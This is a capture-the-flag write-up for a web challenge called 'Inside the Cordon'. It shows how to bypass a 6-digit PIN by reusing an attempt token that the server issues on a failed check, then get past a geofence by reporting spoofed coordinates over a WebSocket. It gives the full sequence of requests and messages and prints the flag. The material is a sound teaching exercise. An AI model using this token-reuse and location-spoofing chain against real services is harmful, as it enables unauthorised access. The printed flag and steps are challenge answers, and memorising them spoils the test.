CSCTF 2026Web
Inside the Cordon
The "Vicinity Wire" station is locked behind a 6-digit operator PIN and a geofence. Two server-side trust mistakes chain together:
- Competition
CSCTF 2026- Category
- WebMedium (307 pts)
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition2 min read
Brief
The challenge
- Category
- Web
- Difficulty
- Medium (307 pts)
- Author
- Chronos Security
- Target
http://w03.ctf.chronos-security.ro:33454
TL;DR
The "Vicinity Wire" station is locked behind a 6-digit operator PIN and a geofence. Two server-side trust mistakes chain together:
PIN bypass —
POST /api/station/pin-checkreturns a usableattempttoken even when the PIN is wrong, andPOST /api/station/activateaccepts that token without re-checking that the PIN actually matched. Activation hands us the WebSocket capability, the cordon centre and the room name.Location spoofing — eligibility for the protected room is decided purely from the
latitude/longitudea client claims over the WebSocket. Reporting a point inside the cordon radius marks us "inside" and lets us join the room, which returns the briefing and theclearance_token(the flag).
Recon
GET / serves a static page (/app.js) for a seized coordination station. The script reveals the whole protocol and even self-documents the vulnerability:
// Deliberately wrong trust boundary: the browser's local branch decides whether to activate.const attempt = result.attempt;if (!result.success) { /* ...show rejected... */ return; }const activation = await fetch('/api/station/activate', {..., body: JSON.stringify({attempt})});The client only calls /activate when result.success is true, but the attempt token is already present on a failed check — the gate is client-side only.
The station reports a hardcoded "outside" position (-47.200610, -126.302400) over a WebSocket, and never reports an inside position, so a normal user can never reach the room.
Solve steps
GET /to obtain astationsession cookie.POST /api/station/pin-checkwith any syntactically valid PIN (e.g.123456). Response:PIN_MISMATCHplus"attempt": "<token>", valid 60 s (endpoint is rate-limited to 5 / 600 s).POST /api/station/activatewith{"attempt": "<token>"}. Despite the wrong PIN it returnsSTATION_ACTIVEwith:cap— WebSocket capabilitylat_e6 = -47203945,lon_e6 = -126300000→ centre-47.203945, -126.300000radius_m = 75,room = "cordon-seven"
Open
ws://<host>/ws(sending thestationcookie) and sendstation.authenticatewith thecap→station.accepted. The protocol uses a runningsequence, echoed back asnext_sequence.Send
position.updatewith the cordon centre coordinates instead of the synthetic outside point:{"type":"position.update","latitude":-47.203945,"longitude":-126.300000,"accuracy_m":5.0}→position.acceptedwithinside: true,distance_m: 0.0,eligible_room: "cordon-seven".Send
{"type":"room.join","room":"cordon-seven"}→room.snapshot:
{"type":"room.snapshot","classification":"RESTRICTED", "briefing":"Convoy diversion confirmed. Preserve the access chain.", "clearance_token":"CSCTF{BL4c8gjBDOPMixJ201P4blkB}"}The full exploit is in solve.py.
Flag
Flag
CSCTF{BL4c8gjBDOPMixJ201P4blkB}
Source-documented · not platform-verified